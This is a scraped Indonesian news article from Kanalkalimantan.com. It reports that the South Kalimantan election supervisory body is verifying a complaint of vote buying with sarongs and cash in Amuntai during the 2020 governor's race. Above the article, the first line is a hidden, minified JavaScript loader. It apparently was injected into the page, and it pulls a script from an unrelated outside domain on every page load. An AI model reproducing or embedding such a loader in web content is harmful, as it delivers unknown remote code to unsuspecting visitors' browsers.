(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pasca diterimanya laporan tim kuasa hukum paslon Denny Indrayana-Difriadi (H2D) terkait dugaan pelanggaran Pilkada yang dilakukan salah satu paslon Pilgub Kalsel di daerah Amuntai, Kabupaten Huku Sungai Utara (HSU), Bawaslu Kalsel langsung melakukan verifikasi kasus.
Komisioner Bawaslu Kalsel, Azhar Ridhanie mengatakan, dalam setiap laporan yang masuk pihaknya akan melakukan kajian untuk menetukan sanksi mana yang akan dijatuhkan kepada terlapor. “Dalam prosesnya kita memiliki empat aspek yang harus diperiksa dan itulah yang akan dijadikan sanksi jika memang terbukti bersalah,” katanya saat ditemui di kantornya, Kamis (1/10/2020) sore.
Aldo -sapaannya- memaparkan, aspek pertama akan dikenakan berupa sanksi administratif. “Bentuk output sanksi ini akan kami rekomendasikan ke KPU,” ujarnya.
Kedua, adalah pelanggaran pidana. Untuk sanksi yang satu ini Dhani menyebutkan bahwa yang menerimanya adalah Penegakkan Hukum Terpadu (Gakkumdu). Pihaknya sendirj akan melakukan verifikasi pada malam ini, apakah ada pasal yang kemudian dapat disangkakan kepada terlapor melalui pelaporan ini.
“Misalnya pasal berapa yang memungkinkan dikenakan hukum pidana atas kasus ini,” imbuh Aldo.
Kemudian, yang ketiga, Aldo menambahkan, jika kasus ini memang ada keterlibatan oknum Kepala Daerah atau Aparatur Sipil Negara (ASN) yang melanggar netralitas. Maka pihaknya akan merekomendasikan kasus ini ke Komisi Aparatur Sipil Negara (KASN) untuk menjatuhkan sanksinya.
Terakhir, jika terdapat keterlibatan penyelenggara (KPU) maka Bawaslu akan meneruskan pelanggaran ini kepada Dewan Kehormatan Penyelenggara Pemilu (DKPP). “Jika memang ada penyelenggara yang terlibat maka itu sudah melanggar kode etik,” lugas Aldo.
Sehingga, empat aspek itulah yang akan di verifikasi oleh Bawaslu Kalsel. Laporan yang masuk ini akan dipelajari terlebih dahulu termasuk dugaan pelanggaran yang mana.
“Disitu nanti akan kami sisir unsur pelanggarannya dengan teknik pengkajian yang dilakukan Bawaslu,” tutupnya.
Sebelumnya diketahui Tim dari paslon H2D melaporkan adanya dugaan pelanggaran pemilu yang dilakukan lawannya di daerah Amuntai, Kabupaten Hulu Sungai Utara.
Di hadapan awak media, Jurkani, selaku pelapor dugaan pelanggaran tersebut mengaku suda menyiapkan barang bukti berupa sarung pembagian dari paslon yang bersangkutan beserta uang tunai sebesar Rp50 ribu yang diduga dipakai untuk membeli suara masyarakat.
Bahkan juga ia juga menyebutkan ada keterlibatan kepala daerah dan ASN pejabat pemda lainnya yang juga ikut dalam proses kampanye di daerah tersebut.
“Kita menyiapkan dua orang saksi yang berstatus mahasiswa berusia kurang lebih 25 tahun dan menyaksikan sekaligus menerima sarung dan uang tunai yang dijadikan barang bukti dalam pelaporan ini. Mereka merupakan warga yang tinggal di lokasi yang dilaporkan,” singkat Jurkani. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More
KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More
KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More
This website uses cookies.